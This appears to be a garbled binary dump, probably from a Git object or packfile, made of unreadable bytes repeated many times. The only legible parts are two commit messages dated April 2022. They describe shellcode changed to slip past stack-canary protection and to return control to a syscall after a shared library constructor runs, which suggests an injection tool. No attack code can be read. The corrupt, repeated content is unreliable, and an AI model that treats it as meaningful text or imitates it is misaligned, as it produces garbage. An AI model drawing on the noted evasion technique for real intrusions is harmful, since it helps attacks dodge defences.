<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> 0 <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> !
<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60>  <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm^a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
